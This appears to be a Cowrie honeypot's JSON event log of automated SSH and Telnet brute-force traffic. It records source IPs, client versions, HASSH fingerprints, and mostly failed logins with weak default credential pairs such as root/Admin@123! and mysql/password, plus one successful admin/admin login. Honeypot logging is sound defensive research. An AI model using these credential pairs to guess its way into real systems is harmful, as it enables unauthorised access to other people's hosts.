{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:55.189713Z","src_ip":"45.153.34.97","session":"0fbbf5c16ee7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:55.281232Z","src_ip":"45.153.34.97","session":"0fbbf5c16ee7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"game","password":"game","message":"login attempt [game/game] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:55.696530Z","src_ip":"45.153.34.97","session":"0fbbf5c16ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43928,"dst_ip":"10.17.0.5","dst_port":23,"session":"742db71f2bcd","protocol":"telnet","message":"New connection: 152.42.224.71:43928 (10.17.0.5:23) [session: 742db71f2bcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:56.550818Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:56.785810Z","src_ip":"45.153.34.97","session":"0fbbf5c16ee7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":49862,"dst_ip":"10.17.0.5","dst_port":22,"session":"30162621a312","protocol":"ssh","message":"New connection: 43.153.36.83:49862 (10.17.0.5:22) [session: 30162621a312]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:58.176503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:58.181325Z","src_ip":"43.153.36.83","session":"30162621a312","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:58.249794Z","src_ip":"43.153.36.83","session":"30162621a312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tech$123","message":"login attempt [root/Tech$123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:58.555143Z","src_ip":"43.153.36.83","session":"30162621a312","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.31.20","src_port":45990,"dst_ip":"159.203.135.109","dst_port":22,"session":"202fd624aec0","protocol":"ssh","message":"New connection: 43.153.31.20:45990 (159.203.135.109:22) [session: 202fd624aec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:58.584816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:58.589997Z","src_ip":"43.153.31.20","session":"202fd624aec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:58.659053Z","src_ip":"43.153.31.20","session":"202fd624aec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.26749229431152,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:58.665050Z","src_ip":"152.42.224.71","session":"a5980b2a695b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":34420,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e65420eb0d8","protocol":"ssh","message":"New connection: 181.47.9.103:34420 (10.17.0.5:22) [session: 1e65420eb0d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:58.791546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:58.797193Z","src_ip":"181.47.9.103","session":"1e65420eb0d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:58.943593Z","src_ip":"181.47.9.103","session":"1e65420eb0d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"password","message":"login attempt [mysql/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:58.965901Z","src_ip":"43.153.31.20","session":"202fd624aec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":21944,"dst_ip":"10.17.0.5","dst_port":22,"session":"25fce4909fc4","protocol":"ssh","message":"New connection: 45.153.34.97:21944 (10.17.0.5:22) [session: 25fce4909fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:59.511542Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"hong123","message":"login attempt [root/hong123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:59.551505Z","src_ip":"181.47.9.103","session":"1e65420eb0d8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:59.591435Z","src_ip":"45.153.34.97","session":"25fce4909fc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:59.624682Z","src_ip":"45.153.34.97","session":"25fce4909fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:59.631784Z","src_ip":"43.153.36.83","session":"30162621a312","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cacti","password":"cacti","message":"login attempt [cacti/cacti] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:07:59.981278Z","src_ip":"45.153.34.97","session":"25fce4909fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:00.037829Z","src_ip":"43.153.31.20","session":"202fd624aec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43934,"dst_ip":"10.17.0.5","dst_port":23,"session":"e92eda996960","protocol":"telnet","message":"New connection: 152.42.224.71:43934 (10.17.0.5:23) [session: e92eda996960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:00.389931Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.38.88","src_port":42530,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb1c28547664","protocol":"ssh","message":"New connection: 43.130.38.88:42530 (159.203.135.109:22) [session: bb1c28547664]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:00.496856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:00.502806Z","src_ip":"43.130.38.88","session":"bb1c28547664","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:00.572840Z","src_ip":"43.130.38.88","session":"bb1c28547664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:00.699224Z","src_ip":"181.47.9.103","session":"1e65420eb0d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@123!","message":"login attempt [root/Admin@123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:00.883691Z","src_ip":"43.130.38.88","session":"bb1c28547664","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:01.196971Z","src_ip":"45.153.34.97","session":"25fce4909fc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:01.956810Z","src_ip":"43.130.38.88","session":"bb1c28547664","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43944,"dst_ip":"10.17.0.5","dst_port":23,"session":"ea241fc0b2e3","protocol":"telnet","message":"New connection: 152.42.224.71:43944 (10.17.0.5:23) [session: ea241fc0b2e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:02.917998Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":56334,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f586a8f772e","protocol":"ssh","message":"New connection: 87.251.64.176:56334 (10.17.0.5:22) [session: 6f586a8f772e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:03.397816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:03.405180Z","src_ip":"87.251.64.176","session":"6f586a8f772e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.8.74","src_port":36350,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7ca872f4fbd","protocol":"ssh","message":"New connection: 159.65.8.74:36350 (10.17.0.5:22) [session: b7ca872f4fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:03.459643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:03.465415Z","src_ip":"159.65.8.74","session":"b7ca872f4fbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:03.502474Z","src_ip":"87.251.64.176","session":"6f586a8f772e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.418046712875366,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:03.593148Z","src_ip":"152.42.224.71","session":"cfe0950d6ec0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":50312,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8b38ea39c12","protocol":"ssh","message":"New connection: 45.153.34.97:50312 (10.17.0.5:22) [session: f8b38ea39c12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:03.702383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:03.710172Z","src_ip":"45.153.34.97","session":"f8b38ea39c12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:03.714745Z","src_ip":"159.65.8.74","session":"b7ca872f4fbd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:08:03.793658Z","src_ip":"87.251.64.176","session":"6f586a8f772e","protocol":"ssh"}
